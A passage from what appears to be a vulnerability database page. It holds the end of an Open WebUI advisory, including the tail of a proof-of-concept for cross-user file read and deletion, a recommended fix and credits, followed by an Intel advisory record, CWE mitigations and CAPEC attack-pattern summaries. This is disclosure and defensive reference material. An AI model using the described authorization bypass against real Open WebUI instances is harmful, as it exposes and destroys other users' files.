insert_sink[\"insert_returned_rows\"] is True\n and insert_sink[\"stored_file_ids\"] == [\"victim-file\"]\n and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n ),\n \"sink\": \"Chats.insert_chat_files() accepts caller-supplied file_ids without checking file ownership/read access\",\n }\n print(json.dumps(result, indent=2, sort_keys=True))\n finally:\n for name, value in original.items():\n setattr(file_acl, name, value)\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n```\n\n## Recommended Fix\n\nBefore calling `Chats.insert_chat_files()`, filter `user_message.files` to files the caller owns or can read:\n\n```python\nallowed_file_ids = []\nfor file_id in requested_file_ids:\n file = await Files.get_file_by_id(file_id)\n if file and (file.user_id == user.id or user.role == \u0027admin\u0027 or await has_access_to_file(file_id, \u0027read\u0027, user)):\n allowed_file_ids.append(file_id)\n```\n\nAlso consider enforcing this inside `Chats.insert_chat_files()` so future call sites cannot create unauthorized `chat_file` associations.\n\nAdditionally, the shared-chat branch of `has_access_to_file()` should honour `access_type`, so a read grant cannot satisfy the write check used by file deletion.\n\n## Consolidation\n\nPer Open WebUI\u0027s Report Handling policy this consolidates independent reports of the same chat-file authorization flaws into one advisory and CVE:\n\n- Cross-user file READ via a forged `chat_file` association (`GET /api/v1/files/{id}/content`): @0xEr3n. Fixed by #25054, which gates `Chats.insert_chat_files()` so a caller can only link files they own or can read.\n- Cross-user file DELETION via the shared-chat branch ignoring `access_type` (`DELETE /api/v1/files/{id}`): reported independently by @oxsignal (earliest filing; reached via a legitimately read-only-shared chat, no forged association needed), by @0xEr3n (via the forged association), and by @5yu4n. Fixed by #24755, which makes the shared-chat branch honour `access_type`.\n\nAffected: `\u003c= 0.9.5`. Patched: `\u003e= 0.9.6`. One CVE for the consolidated advisory.",
"id": "GHSA-vrhc-3fr6-pc3c",
"modified": "2026-06-17T14:12:20Z",
"published": "2026-06-17T14:12:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrhc-3fr6-pc3c"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/24755"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/pull/25054"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Forged chat-file link allows cross-user file read and deletion"
}
GHSA-VRJ2-P3R5-2MQ6
Vulnerability from github – Published: 2024-09-16 18:31 – Updated: 2024-09-16 18:31Improper access control in Intel(R) RAID Web Console software for all versions may allow an authenticated user to potentially enable denial of service via adjacent access.
{
"affected": [],
"aliases": [
"CVE-2024-32940"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-16T17:16:05Z",
"severity": "MODERATE"
},
"details": "Improper access control in Intel(R) RAID Web Console software for all versions may allow an authenticated user to potentially enable denial of service via adjacent access.",
"id": "GHSA-vrj2-p3r5-2mq6",
"modified": "2024-09-16T18:31:22Z",
"published": "2024-09-16T18:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32940"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00926.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.